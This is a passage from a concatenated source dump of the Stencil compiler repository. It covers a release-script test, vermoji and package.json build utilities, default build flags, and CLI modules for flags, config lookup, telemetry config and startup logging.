MockEvent#composedPath() impl ([#3204](https://github.com/ionic-team/stencil/issues/3204)) ([7b47d96](https://github.com/ionic-team/stencil/commit/7b47d96e1e3c6c821d5c416fbe987646b4cd1551)) * **test:** jest 27 support ([#3189](https://github.com/ionic-team/stencil/issues/3189)) ([10efeb6](https://github.com/ionic-team/stencil/commit/10efeb6f74888f05a13a47d8afc00b5e83a3f3db)) ## 🍔 [2.12.1](https://github.com/ionic-team/stencil/compare/v2.12.0...v2.12.1) (2022-01-04) ### Bug Fixes * **vdom:** properly warn for step attr on input ([#3196](https://github.com/ionic-team/stencil/issues/3196)) ([7ffc02e](https://github.com/ionic-team/stencil/commit/7ffc02e5d07b05de45cbaf4f0cce3f3e165b3eb0)) ### Features * **typings:** add optional key and ref to slot elements ([#3177](https://github.com/ionic-team/stencil/issues/3177)) ([ce27a18](https://github.com/ionic-team/stencil/commit/ce27a18ba8ecdb2cc5401470747a7e9d91e40a44)) `; // Jest isn't smart enough to pick the correct overloaded method, so we must do type assertions to get our spy to // return a string (as if we called the original with an encoding argument) mockReadFile.mockResolvedValue(patchReleaseFollowingPatch as unknown as Buffer); await postGithubRelease(buildOptions); expect(openMock).toHaveBeenCalledTimes(1); expect(openMock).toHaveBeenCalledWith( 'https://github.com/ionic-team/stencil/releases/new?tag=v0.0.0&title=%F0%9F%9A%97+0.0.0+%282022-01-01%29&body=%23%23%23+Features%0A%0A*+**mock-doc%3A**+add+simple+MockEvent%23composedPath%28%29+impl+%28%5B%233204%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3204%29%29+%28%5B7b47d96%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2F7b47d96e1e3c6c821d5c416fbe987646b4cd1551%29%29%0A*+**test%3A**+jest+27+support+%28%5B%233189%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3189%29%29+%28%5B10efeb6%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2F10efeb6f74888f05a13a47d8afc00b5e83a3f3db%29%29', ); }); }); }); ================================================ FILE: scripts/utils/vermoji.ts ================================================ import fs from 'fs-extra'; const UNKNOWN_VERMOJI = '❓'; let vermojis = [ '💯', '☀️', '☕️', '♨️', '✈️', '✨', '❄️', '❤️', '☎️', '⚡️', '⚽️', '⚾️', '⛄️', '⛑', '⛰', '⛱', '⛲️', '⛳️', '⛴', '⛵️', '⛷', '⛸', '⛹', '⛺️', '⭐️', '🌀', '🌁', '🌃', '🌄', '🌅', '🌇', '🌈', '🌍', '🌎', '🌏', '🌐', '🌙', '🌜', '🌝', '🌞', '🌟', '🌪', '🌭', '🌮', '🌯', '🌱', '🌲', '🌳', '🌴', '🌵', '🌶', '🌷', '🌸', '🌹', '🌺', '🌻', '🌼', '🍀', '🍁', '🍅', '🍇', '🍈', '🍉', '🍊', '🍋', '🍌', '🍍', '🍎', '🍏', '🍐', '🍒', '🍓', '🍔', '🍕', '🍖', '🍗', '🍜', '🍝', '🍞', '🍟', '🍡', '🍣', '🍤', '🍦', '🍧', '🍨', '🍩', '🍪', '🍫', '🍬', '🍭', '🍮', '🍯', '🍰', '🍲', '🍵', '🍷', '🍸', '🍹', '🍺', '🍻', '🥃', '🍾', '🍿', '🎀', '🎁', '🎂', '🎆', '🎇', '🎈', '🎉', '🎊', '🎖', '🎙', '🎠', '🎡', '🎢', '🎤', '🎨', '🎩', '🎪', '🎬', '🎭', '🎯', '🎰', '🎱', '🎲', '🎳', '🎷', '🎸', '🎹', '🎺', '🎻', '🎾', '🎿', '🏀', '🏁', '🏂', '🏃', '🏄', '🏅', '🏆', '🏇', '🏈', '🏉', '🏊', '🏋', '🏌', '🏍', '🏎', '🏏', '🏐', '🏑', '🏒', '🏓', '🏔', '🏕', '🏖', '🏙', '🏜', '🏝', '🏰', '🏵', '🏸', '🏹', '🐁', '🐂', '🐄', '🐅', '🐆', '🐇', '🐈', '🐉', '🐊', '🐋', '🐌', '🐍', '🐎', '🐏', '🐐', '🐒', '🐓', '🐔', '🐕', '🐖', '🐗', '🐘', '🐙', '🐚', '🐛', '🐝', '🐞', '🐟', '🐠', '🐡', '🐣', '🐤', '🐥', '🐦', '🐧', '🐨', '🐩', '🐫', '🐬', '🐭', '🐮', '🐯', '🐰', '🐱', '🐳', '🐴', '🐵', '🐶', '🐷', '🐸', '🐹', '🐺', '🐻', '🐼', '🐽', '🐿', '👑', '👒', '👻', '👽', '👾', '💍', '💙', '💚', '💛', '💡', '💥', '💪', '💫', '💾', '💿', '📌', '📍', '📟', '🛰', '📢', '📣', '📬', '📷', '📺', '📻', '🔈', '🔋', '🔔', '🔥', '🔬', '🔭', '🔮', '🕊', '🕹', '🖍', '🗻', '😀', '😃', '😄', '😈', '😊', '😋', '😎', '😛', '😜', '😸', '🤓', '🤖', '🚀', '🚁', '🚂', '🚃', '🚅', '🚋', '🚌', '🚍', '🚎', '🚐', '🚑', '🚒', '🚓', '🚔', '🚕', '🚖', '🚗', '🚘', '🚙', '🚚', '🚛', '🚜', '🚞', '🚟', '🚠', '🚡', '🚢', '🚣', '🚤', '🚦', '🚨', '🚩', '🛠', '🛥', '🛩', '🛳', '🤘', '🦀', '🦁', '🦂', '🦃', '🦄', '🧀', ]; // filter out the 'unknown version vermoji' vermojis = vermojis.filter((vermoji) => vermoji !== UNKNOWN_VERMOJI); export function getVermoji(changelogPath: string) { const changelog = fs.readFileSync(changelogPath, 'utf8'); while (true) { const randomIndex = Math.floor(Math.random() * vermojis.length); const vermoji = vermojis[randomIndex]; if (changelog.includes(vermoji)) { vermojis.splice(randomIndex, 1); if (vermojis.length === 0) { console.warn(`We're out of Vermoji! Create a task to add some more!`); return UNKNOWN_VERMOJI; } } else { return vermoji; } } } /** * Pull the most recently used vermoji for the provided changelog path * @param changelogPath the path to the changelog to parse * @returns the vermoji found in the changelog, otherwise use a default value. */ export function getLatestVermoji(changelogPath: string) { let changelogContents = null; try { changelogContents = fs.readFileSync(changelogPath, 'utf8'); } catch (err: unknown) { console.error(`Unable to read the changelog at path '${changelogPath}' - ${err}.`); console.error(`Defaulting to ${UNKNOWN_VERMOJI}`); return UNKNOWN_VERMOJI; } if (!changelogContents) { console.error(`The changelog at '${changelogPath}' was empty!`); console.error(`Defaulting to ${UNKNOWN_VERMOJI}`); return UNKNOWN_VERMOJI; } // grab the first line of the changelog const firstLine = changelogContents.trimStart().split('\n')[0]; // match the first line of the changelog with a string that has: // - one or more pound signs (#), followed by a space // - capture the first non-space character(s) const match = firstLine.match(/^#+\s(\S+)/); // if a match was found, return the value in the first capture group. otherwise, use the default vermoji return match ? match[1] : UNKNOWN_VERMOJI; } ================================================ FILE: scripts/utils/write-pkg-json.ts ================================================ import fs from 'fs-extra'; import path from 'path'; import { BuildOptions } from './options'; export function writePkgJson(opts: BuildOptions, pkgDir: string, pkgData: PackageData) { pkgData.version = opts.version; pkgData.private = true; if (pkgData.main && !pkgData.main.startsWith('.')) { pkgData.main = `./${pkgData.main}`; } if (pkgData.module && !pkgData.module.startsWith('.')) { pkgData.module = `./${pkgData.module}`; } if (pkgData.types && !pkgData.types.startsWith('.')) { pkgData.types = `./${pkgData.types}`; } if (pkgData.module && pkgData.main) { pkgData.type = 'module'; pkgData.exports = { import: pkgData.module, require: pkgData.main, }; } // idk, i just like a nice pretty standardized order of package.json properties const formatedPkg: any = {}; PROPS_ORDER.forEach((pkgProp) => { if (pkgProp in pkgData) { formatedPkg[pkgProp] = pkgData[pkgProp as keyof PackageData]; } }); fs.writeFileSync(path.join(pkgDir, 'package.json'), JSON.stringify(formatedPkg, null, 2) + '\n'); } const PROPS_ORDER = [ 'name', 'version', 'description', 'bin', 'main', 'module', 'browser', 'types', 'exports', 'type', 'files', 'private', 'sideEffects', ]; export interface PackageData { name: string; description: string; main: string; module?: string; browser?: string; exports?: any; type?: string; types?: string; version?: string; dependencies?: string[]; private?: boolean; license?: string | any; licenses?: string | any; author?: string | any; contributors?: string | any; homepage?: string; repository?: any; files?: string[]; bin?: { [key: string]: string }; sideEffects?: false; } ================================================ FILE: src/app-data/index.ts ================================================ import type { BuildConditionals } from '@stencil/core/internal'; /** * A collection of default build flags for a Stencil project. * * This collection can be found throughout the Stencil codebase, often imported from the `@app-data` module like so: * ```ts * import { BUILD } from '@app-data'; * ``` * and is used to determine if a portion of the output of a Stencil _project_'s compilation step can be eliminated. * * e.g. When `BUILD.allRenderFn` evaluates to `false`, the compiler will eliminate conditional statements like: * ```ts * if (BUILD.allRenderFn) { * // some code that will be eliminated if BUILD.allRenderFn is false * } * ``` * * `@app-data`, the module that `BUILD` is imported from, is an alias for the `@stencil/core/internal/app-data`, and is * partially referenced by {@link STENCIL_APP_DATA_ID}. The `src/compiler/bundle/app-data-plugin.ts` references * `STENCIL_APP_DATA_ID` uses it to replace these defaults with {@link BuildConditionals} that are derived from a * Stencil project's contents (i.e. metadata from the components). This replacement happens at a Stencil project's * compile time. Such code can be found at `src/compiler/app-core/app-data.ts`. */ export const BUILD: BuildConditionals = { allRenderFn: false, element: true, event: true, hasRenderFn: true, hostListener: true, hostListenerTargetWindow: true, hostListenerTargetDocument: true, hostListenerTargetBody: true, hostListenerTargetParent: false, hostListenerTarget: true, member: true, method: true, mode: true, observeAttribute: true, prop: true, propMutable: true, reflect: true, scoped: true, shadowDom: true, slot: true, cssAnnotations: true, state: true, style: true, formAssociated: false, svg: true, updatable: true, vdomAttribute: true, vdomXlink: true, vdomClass: true, vdomFunctional: true, vdomKey: true, vdomListener: true, vdomRef: true, vdomPropOrAttr: true, vdomRender: true, vdomStyle: true, vdomText: true, propChangeCallback: true, taskQueue: true, hotModuleReplacement: false, isDebug: false, isDev: false, isTesting: false, hydrateServerSide: false, hydrateClientSide: false, lifecycleDOMEvents: false, lazyLoad: false, profile: false, slotRelocation: true, // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior appendChildSlotFix: false, // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior cloneNodeFix: false, hydratedAttribute: false, hydratedClass: true, // TODO(STENCIL-1305): remove this option scriptDataOpts: false, // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior scopedSlotTextContentFix: false, // TODO(STENCIL-854): Remove code related to legacy shadowDomShim field shadowDomShim: false, // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior slotChildNodesFix: false, invisiblePrehydration: true, propBoolean: true, propNumber: true, propString: true, constructableCSS: true, devTools: false, shadowDelegatesFocus: true, shadowSlotAssignmentManual: false, initializeNextTick: false, asyncLoading: true, asyncQueue: false, // TODO: deprecated in favour of `setTagTransformer` and `transformTag`. Remove in 5.0 transformTagName: false, attachStyles: true, // TODO(STENCIL-914): remove this option when `experimentalSlotFixes` is the default behavior experimentalSlotFixes: false, }; export const Env = {}; export const NAMESPACE = /* default */ 'app' as string; ================================================ FILE: src/app-globals/index.ts ================================================ export const globalScripts = /* default */ () => { /**/ }; export const globalStyles = /* default */ ''; ================================================ FILE: src/cli/check-version.ts ================================================ import { isFunction } from '@utils'; import type { ValidatedConfig } from '../declarations'; /** * Retrieve a reference to the active `CompilerSystem`'s `checkVersion` function * @param config the Stencil configuration associated with the currently compiled project * @param currentVersion the Stencil compiler's version string * @returns a reference to `checkVersion`, or `null` if one does not exist on the current `CompilerSystem` */ export const startCheckVersion = async ( config: ValidatedConfig, currentVersion: string, ): Promise<(() => void) | null> => { if (config.devMode && !config.flags.ci && !currentVersion.includes('-dev.') && isFunction(config.sys.checkVersion)) { return config.sys.checkVersion(config.logger, currentVersion); } return null; }; /** * Print the results of running the provided `versionChecker`. * * Does not print if no `versionChecker` is provided. * * @param versionChecker the function to invoke. */ export const printCheckVersionResults = async (versionChecker: Promise<(() => void) | null>): Promise => { if (versionChecker) { const checkVersionResults = await versionChecker; if (isFunction(checkVersionResults)) { checkVersionResults(); } } }; ================================================ FILE: src/cli/config-flags.ts ================================================ import type { LogLevel, TaskCommand } from '@stencil/core/declarations'; /** * All the Boolean options supported by the Stencil CLI */ export const BOOLEAN_CLI_FLAGS = [ 'build', 'cache', 'checkVersion', 'ci', 'compare', 'debug', 'dev', 'devtools', 'docs', // @deprecated - integrated testing will be removed in Stencil v5. See https://github.com/stenciljs/core/issues/6584. 'e2e', 'es5', 'esm', 'help', 'log', 'open', 'prerender', 'prerenderExternal', 'prod', 'profile', 'serviceWorker', // @deprecated - screenshot testing will be removed in Stencil v5. See https://github.com/stenciljs/core/issues/6584. 'screenshot', 'serve', 'skipNodeCheck', // @deprecated - integrated testing will be removed in Stencil v5. See https://github.com/stenciljs/core/issues/6584. 'spec', 'ssr', // @deprecated - screenshot testing will be removed in Stencil v5. See https://github.com/stenciljs/core/issues/6584. 'updateScreenshot', 'verbose', 'version', 'watch', // @deprecated - all JEST CLI options below are only used by integrated testing, which will be removed in Stencil v5. // See https://github.com/stenciljs/core/issues/6584. // JEST CLI OPTIONS 'all', 'automock', 'bail', // 'cache', Stencil already supports this argument 'changedFilesWithAncestor', // 'ci', Stencil already supports this argument 'clearCache', 'clearMocks', 'collectCoverage', 'color', 'colors', 'coverage', // 'debug', Stencil already supports this argument 'detectLeaks', 'detectOpenHandles', 'errorOnDeprecated', 'expand', 'findRelatedTests', 'forceExit', 'init', 'injectGlobals', 'json', 'lastCommit', 'listTests', 'logHeapUsage', 'noStackTrace', 'notify', 'onlyChanged', 'onlyFailures', 'passWithNoTests', 'resetMocks', 'resetModules', 'restoreMocks', 'runInBand', 'runTestsByPath', 'showConfig', 'silent', 'skipFilter', 'testLocationInResults', 'updateSnapshot', 'useStderr', // 'verbose', Stencil already supports this argument // 'version', Stencil already supports this argument // 'watch', Stencil already supports this argument 'watchAll', 'watchman', ] as const; /** * All the Number options supported by the Stencil CLI */ export const NUMBER_CLI_FLAGS = [ 'port', // @deprecated - all JEST CLI args below are only used by integrated testing, which will be removed in Stencil v5. // See https://github.com/stenciljs/core/issues/6584. // JEST CLI ARGS 'maxConcurrency', 'testTimeout', ] as const; /** * All the String options supported by the Stencil CLI */ export const STRING_CLI_FLAGS = [ 'address', 'config', 'docsApi', 'docsJson', 'emulate', 'root', // @deprecated - screenshot testing will be removed in Stencil v5. See https://github.com/stenciljs/core/issues/6584. 'screenshotConnector', // @deprecated - all JEST CLI args below are only used by integrated testing, which will be removed in Stencil v5. // See https://github.com/stenciljs/core/issues/6584. // JEST CLI ARGS 'cacheDirectory', 'changedSince', 'collectCoverageFrom', // 'config', Stencil already supports this argument 'coverageDirectory', 'coverageThreshold', 'env', 'filter', 'globalSetup', 'globalTeardown', 'globals', 'haste', 'moduleNameMapper', 'notifyMode', 'outputFile', 'preset', 'prettierPath', 'resolver', 'rootDir', 'runner', 'testEnvironment', 'testEnvironmentOptions', 'testFailureExitCode', 'testNamePattern', 'testResultsProcessor', 'testRunner', 'testSequencer', 'testURL', 'timers', 'transform', ] as const; // @deprecated - all entries below are JEST CLI args only used by integrated testing, which will be removed in Stencil v5. // See https://github.com/stenciljs/core/issues/6584. export const STRING_ARRAY_CLI_FLAGS = [ 'collectCoverageOnlyFrom', 'coveragePathIgnorePatterns', 'coverageReporters', 'moduleDirectories', 'moduleFileExtensions', 'modulePathIgnorePatterns', 'modulePaths', 'projects', 'reporters', 'roots', 'selectProjects', 'setupFiles', 'setupFilesAfterEnv', 'snapshotSerializers', 'testMatch', 'testPathIgnorePatterns', 'testPathPattern', 'testRegex', 'transformIgnorePatterns', 'unmockedModulePathPatterns', 'watchPathIgnorePatterns', ] as const; /** * All the CLI arguments which may have string or number values * * `maxWorkers` is an argument which is used both by Stencil _and_ by Jest, * which means that we need to support parsing both string and number values. */ export const STRING_NUMBER_CLI_FLAGS = ['maxWorkers'] as const; /** * All the CLI arguments which may have boolean or string values. */ export const BOOLEAN_STRING_CLI_FLAGS = [ /** * `headless` is an argument passed through to Puppeteer (which is passed to Chrome) for end-to-end testing. * * {@see https://developer.chrome.com/blog/chrome-headless-shell/} */ 'headless', /** * `stats` is an argument that can optionally accept a file path where stats should be written. * When used as a boolean (--stats), it defaults to 'stencil-stats.json'. * When used with a path (--stats dist/stats.json), it writes to that path. */ 'stats', ] as const; /** * All the LogLevel-type options supported by the Stencil CLI * * This is a bit silly since there's only one such argument atm, * but this approach lets us make sure that we're handling all * our arguments in a type-safe way. */ export const LOG_LEVEL_CLI_FLAGS = ['logLevel'] as const; /** * A type which gives the members of a `ReadonlyArray` as * an enum-like type which can be used for e.g. keys in a `Record` * (as in the `AliasMap` type below) */ type ArrayValuesAsUnion> = T[number]; export type BooleanCLIFlag = ArrayValuesAsUnion; export type StringCLIFlag = ArrayValuesAsUnion; export type StringArrayCLIFlag = ArrayValuesAsUnion; export type NumberCLIFlag = ArrayValuesAsUnion; export type StringNumberCLIFlag = ArrayValuesAsUnion; export type BooleanStringCLIFlag = ArrayValuesAsUnion; export type LogCLIFlag = ArrayValuesAsUnion; export type KnownCLIFlag = | BooleanCLIFlag | StringCLIFlag | StringArrayCLIFlag | NumberCLIFlag | StringNumberCLIFlag | BooleanStringCLIFlag | LogCLIFlag; type AliasMap = Partial>; /** * For a small subset of CLI options we support a short alias e.g. `'h'` for `'help'` */ export const CLI_FLAG_ALIASES: AliasMap = { c: 'config', h: 'help', p: 'port', v: 'version', // JEST SPECIFIC CLI FLAGS // these are defined in // https://github.com/facebook/jest/blob/4156f86/packages/jest-cli/src/args.ts b: 'bail', e: 'expand', f: 'onlyFailures', i: 'runInBand', o: 'onlyChanged', t: 'testNamePattern', u: 'updateSnapshot', w: 'maxWorkers', }; /** * A regular expression which can be used to match a CLI flag for one of our * short aliases. */ export const CLI_FLAG_REGEX = new RegExp(`^-[chpvbewofitu]{1}$`); /** * Given two types `K` and `T` where `K` extends `ReadonlyArray`, * construct a type which maps the strings in `K` as keys to values of type `T`. * * Because we use types derived this way to construct an interface (`ConfigFlags`) * for which we want optional keys, we make all the properties optional (w/ `'?'`) * and possibly null. */ type ObjectFromKeys, T> = { [key in K[number]]?: T | null; }; /** * Type containing the possible Boolean configuration flags, to be included * in ConfigFlags, below */ type BooleanConfigFlags = ObjectFromKeys; /** * Type containing the possible String configuration flags, to be included * in ConfigFlags, below */ type StringConfigFlags = ObjectFromKeys; /** * Type containing the possible String Array configuration flags. This is * one of the 'constituent types' for `ConfigFlags`. */ type StringArrayConfigFlags = ObjectFromKeys; /** * Type containing the possible numeric configuration flags, to be included * in ConfigFlags, below */ type NumberConfigFlags = ObjectFromKeys; /** * Type containing the configuration flags which may be set to either string * or number values. */ type StringNumberConfigFlags = ObjectFromKeys; /** * Type containing the configuration flags which may be set to either string * or boolean values. */ type BooleanStringConfigFlags = ObjectFromKeys; /** * Type containing the possible LogLevel configuration flags, to be included * in ConfigFlags, below */ type LogLevelFlags = ObjectFromKeys; /** * The configuration flags which can be set by the user on the command line. * This interface captures both known arguments (which are enumerated and then * parsed according to their types) and unknown arguments which the user may * pass at the CLI. * * Note that this interface is constructed by extending `BooleanConfigFlags`, * `StringConfigFlags`, etc. These types are in turn constructed from types * extending `ReadonlyArray` which we declare in another module. This * allows us to record our known CLI arguments in one place, using a * `ReadonlyArray` to get both a type-level representation of what CLI * options we support and a runtime list of strings which can be used to match * on actual flags passed by the user. */ export interface ConfigFlags extends BooleanConfigFlags, StringConfigFlags, StringArrayConfigFlags, NumberConfigFlags, StringNumberConfigFlags, BooleanStringConfigFlags, LogLevelFlags { task: TaskCommand | null; args: string[]; knownArgs: string[]; unknownArgs: string[]; } /** * Helper function for initializing a `ConfigFlags` object. Provide any overrides * for default values and off you go! * * @param init an object with any overrides for default values * @returns a complete CLI flag object */ export const createConfigFlags = (init: Partial = {}): ConfigFlags => { const flags: ConfigFlags = { task: null, args: [], knownArgs: [], unknownArgs: [], ...init, }; return flags; }; ================================================ FILE: src/cli/find-config.ts ================================================ import { buildError, isString, normalizePath, result } from '@utils'; import type { CompilerSystem, Diagnostic } from '../declarations'; /** * An object containing the {@link CompilerSystem} used to find the configuration file, as well as the location on disk * to search for a Stencil configuration */ export type FindConfigOptions = { sys: CompilerSystem; configPath?: string | null; }; /** * The results of attempting to find a Stencil configuration file on disk */ export type FindConfigResults = { configPath: string; rootDir: string; }; /** * Attempt to find a Stencil configuration file on the file system * @param opts the options needed to find the configuration file * @returns the results of attempting to find a configuration file on disk */ export const findConfig = async (opts: FindConfigOptions): Promise> => { const sys = opts.sys; const cwd = sys.getCurrentDirectory(); const rootDir = normalizePath(cwd); let configPath = opts.configPath; if (isString(configPath)) { if (!sys.platformPath.isAbsolute(configPath)) { // passed in a custom stencil config location, // but it's relative, so prefix the cwd configPath = normalizePath(sys.platformPath.join(cwd, configPath)); } else { // config path already an absolute path, we're good here configPath = normalizePath(configPath); } } else { // nothing was passed in, use the current working directory configPath = rootDir; } const results: FindConfigResults = { configPath, rootDir: normalizePath(cwd), }; const stat = await sys.stat(configPath); if (stat.error) { const diagnostics: Diagnostic[] = []; const diagnostic = buildError(diagnostics); diagnostic.absFilePath = configPath; diagnostic.header = `Invalid config path`; diagnostic.messageText = `Config path "${configPath}" not found`; return result.err(diagnostics); } if (stat.isFile) { results.configPath = configPath; results.rootDir = sys.platformPath.dirname(configPath); } else if (stat.isDirectory) { // this is only a directory, so let's make some assumptions for (const configName of ['stencil.config.ts', 'stencil.config.js']) { const testConfigFilePath = sys.platformPath.join(configPath, configName); const stat = await sys.stat(testConfigFilePath); if (stat.isFile) { results.configPath = testConfigFilePath; results.rootDir = sys.platformPath.dirname(testConfigFilePath); break; } } } return result.ok(results); }; ================================================ FILE: src/cli/index.ts ================================================ export { BOOLEAN_CLI_FLAGS, ConfigFlags } from './config-flags'; export { parseFlags } from './parse-flags'; export { run, runTask } from './run'; ================================================ FILE: src/cli/ionic-config.ts ================================================ import type * as d from '../declarations'; import { readJson, UUID_REGEX, uuidv4 } from './telemetry/helpers'; export const isTest = () => process.env.JEST_WORKER_ID !== undefined; export const defaultConfig = (sys: d.CompilerSystem) => sys.resolvePath(`${sys.homeDir()}/.ionic/${isTest() ? 'tmp-config.json' : 'config.json'}`); export const defaultConfigDirectory = (sys: d.CompilerSystem) => sys.resolvePath(`${sys.homeDir()}/.ionic`); /** * Reads an Ionic configuration file from disk, parses it, and performs any necessary corrections to it if certain * values are deemed to be malformed * @param sys The system where the command is invoked * @returns the config read from disk that has been potentially been updated */ export async function readConfig(sys: d.CompilerSystem): Promise { let config: d.TelemetryConfig = await readJson(sys, defaultConfig(sys)); if (!config) { config = { 'tokens.telemetry': uuidv4(), 'telemetry.stencil': true, }; await writeConfig(sys, config); } else if (!config['tokens.telemetry'] || !UUID_REGEX.test(config['tokens.telemetry'])) { const newUuid = uuidv4(); await writeConfig(sys, { ...config, 'tokens.telemetry': newUuid }); config['tokens.telemetry'] = newUuid; } return config; } /** * Writes an Ionic configuration file to disk. * @param sys The system where the command is invoked * @param config The config passed into the Stencil command * @returns boolean If the command was successful */ export async function writeConfig(sys: d.CompilerSystem, config: d.TelemetryConfig): Promise { let result = false; try { await sys.createDir(defaultConfigDirectory(sys), { recursive: true }); await sys.writeFile(defaultConfig(sys), JSON.stringify(config, null, 2)); result = true; } catch (error) { console.error(`Stencil Telemetry: couldn't write configuration file to ${defaultConfig(sys)} - ${error}.`); } return result; } /** * Update a subset of the Ionic config. * @param sys The system where the command is invoked * @param newOptions The new options to save * @returns boolean If the command was successful */ export async function updateConfig(sys: d.CompilerSystem, newOptions: d.TelemetryConfig): Promise { const config = await readConfig(sys); return await writeConfig(sys, Object.assign(config, newOptions)); } ================================================ FILE: src/cli/load-compiler.ts ================================================ import type { CompilerSystem } from '../declarations'; export const loadCoreCompiler = async (sys: CompilerSystem): Promise => { return await sys.dynamicImport!(sys.getCompilerExecutingPath()); }; export type CoreCompiler = typeof import('@stencil/core/compiler'); ================================================ FILE: src/cli/logs.ts ================================================ import type { CompilerSystem, Logger, TaskCommand, ValidatedConfig } from '../declarations'; import type { ConfigFlags } from './config-flags'; import type { CoreCompiler } from './load-compiler'; /** * Log the name of this package (`@stencil/core`) to an output stream * * The output stream is determined by the {@link Logger} instance that is provided as an argument to this function * * The name of the package may not be logged, by design, for certain `task` types and logging levels * * @param logger the logging entity to use to output the name of the package * @param task the current task */ export const startupLog = (logger: Logger, task: TaskCommand): void => { if (task === 'info' || task === 'serve' || task === 'version') { return; } logger.info(logger.cyan(`@stencil/core`)); }; /** * Log this package's version to an output stream * * The output stream is determined by the {@link Logger} instance that is provided as an argument to this function * * The package version may not be logged, by design, for certain `task` types and logging levels * * @param logger the logging entity to use for output * @param task the current task * @param coreCompiler the compiler instance to derive version information from */ export const startupLogVersion = (logger: Logger, task: TaskCommand, coreCompiler: CoreCompiler): void => { if (task === 'info' || task === 'serve' || task === 'version') { return; } const isDevBuild = coreCompiler.version.includes('-dev.'); let startupMsg: string; if (isDevBuild) { startupMsg = logger.yellow(`[LOCAL DEV] v${coreCompiler.version}`); } else { startupMsg = logger.cyan(`v${coreCompiler.version}`); } startupMsg += logger.emoji(' ' + coreCompiler.vermoji); logger.info(startupMsg); }; /** * Log details from a {@link CompilerSystem} used by Stencil to an output stream * * The output stream is determined by the {@link Logger} instance that is provided as an argument to this function * * @param sys the `CompilerSystem` to report details on * @param logger the logging entity to use for output * @param flags user set flags for the current invocation of Stencil * @param coreCompiler the compiler instance being used for this invocation of Stencil */ export const loadedCompilerLog = ( sys: CompilerSystem, logger: Logger, flags: ConfigFlags, coreCompiler: CoreCompiler, ): void => { const sysDetails = sys.details; const runtimeInfo = `${sys.name} ${sys.version}`; const platformInfo = sysDetails ? `${sysDetails.platform}, ${sysDetails.cpuModel}` : `Unknown Platform, Unknown CPU Model`; const statsInfo = sysDetails ? `cpus: ${sys.hardwareConcurrency}, freemem: ${Math.round( sysDetails.freemem() / 1000000, )}MB, totalmem: ${Math.round(sysDetails.totalmem / 1000000)}MB` : 'Unknown CPU Core Count, Unknown Memory'; if (logger.getLevel() === 'debug') { logger.debug(runtimeInfo); logger.debug(platformInfo); logger.debug(statsInfo); logger.debug(`compiler: ${sys.getCompilerExecutingPath()}`); logger.debug(`build: ${coreCompiler.buildId}`); } else if (flags.ci) { logger.info(runtimeInfo); logger.info(platformInfo); logger.info(statsInfo); } }; /** * Log various warnings to an output stream * * The output stream is determined by the {@link Logger} instance attached to the `config` argument to this function * * @param coreCompiler the compiler instance being used for this invocation of Stencil * @param config a validated configuration object to be used for this run of Stencil */ export const startupCompilerLog = (coreCompiler: CoreCompiler, config: ValidatedConfig) => { if (config.suppressLogs === true) { return; } const { logger } = config; const isDebug = logger.getLevel() === 'debug'; const isPrerelease = coreCompiler.version.includes('-'); const isDevBuild = coreCompiler.version.includes('-dev.'); if (isPrerelease && !isDevBuild) { logger.warn( logger.yellow( `This is a prerelease build, undocumented changes might happen at any time. Technical support is not available for prereleases, but any assistance testing is appreciated.`, ), ); } if (config.devMode && !isDebug) { if (config.buildEs5) { logger.warn( `Generating ES5 during development is a very task expensive, initial and incremental builds will be much slower. Drop the '--es5' flag and use a modern browser for development.`, ); } if (!config.enableCache) { logger.warn(`Disabling cache during development will slow down incremental builds.`); } } }; ================================================ FILE: src/cli/parse-flags.ts ================================================ import { readOnlyArrayHasStringMember, toCamelCase } from '@utils'; import { LOG_LEVELS, LogLevel, TaskCommand } from '../declarations'; import { BOOLEAN_CLI_FLAGS, BOOLEAN_STRING_CLI_FLAGS, CLI_FLAG_ALIASES, CLI_FLAG_REGEX, ConfigFlags, createConfigFlags, LOG_LEVEL_CLI_FLAGS, NUMBER_CLI_FLAGS, STRING_ARRAY_CLI_FLAGS, STRING_CLI_FLAGS, STRING_NUMBER_CLI_FLAGS, } from './config-flags'; /** * Parse command line arguments into a structured `ConfigFlags` object * * @param args an array of CLI flags * @returns a structured ConfigFlags object */ export const parseFlags = (args: string[]): ConfigFlags => { const flags: ConfigFlags = createConfigFlags(); // cmd line has more priority over npm scripts cmd flags.args = Array.isArray(args) ? args.slice() : []; if (flags.args.length > 0 && flags.args[0] && !flags.args[0].startsWith('-')) { flags.task = flags.args[0] as TaskCommand; // if the first argument was a "task" (like `build`, `test`, etc) then // we go on to parse the _rest_ of the CLI args parseArgs(flags, args.slice(1)); } else { // we didn't find a leading flag, so we should just parse them all parseArgs(flags, flags.args); } if (flags.task != null) { const i = flags.args.indexOf(flags.task); if (i > -1) { flags.args.splice(i, 1); } } return flags; }; /** * Parse the supported command line flags which are enumerated in the * `config-flags` module. Handles leading dashes on arguments, aliases that are * defined for a small number of arguments, and parsing values for non-boolean * arguments (e.g. port number for the dev server). * * This parses the following grammar: * * CLIArguments → "" * | CLITerm ( " " CLITerm )* ; * CLITerm → EqualsArg * | AliasEqualsArg * | AliasArg * | NegativeDashArg * | NegativeArg * | SimpleArg ; * EqualsArg → "--" ArgName "=" CLIValue ; * AliasEqualsArg → "-" AliasName "=" CLIValue ; * AliasArg → "-" AliasName ( " " CLIValue )? ; * NegativeDashArg → "--no-" ArgName ; * NegativeArg → "--no" ArgName ; * SimpleArg → "--" ArgName ( " " CLIValue )? ; * ArgName → /^[a-zA-Z-]+$/ ; * AliasName → /^[a-z]{1}$/ ; * CLIValue → '"' /^[a-zA-Z0-9]+$/ '"' * | /^[a-zA-Z0-9]+$/ ; * * There are additional constraints (not shown in the grammar for brevity's sake) * on the type of `CLIValue` which will be associated with a particular argument. * We enforce this by declaring lists of boolean, string, etc arguments and * checking the types of values before setting them. * * We don't need to turn the list of CLI arg tokens into any kind of * intermediate representation since we aren't concerned with doing anything * other than setting the correct values on our ConfigFlags object. So we just * parse the array of string arguments using a recursive-descent approach * (which is not very deep since our grammar is pretty simple) and make the * modifications we need to make to the {@link ConfigFlags} object as we go. * * @param 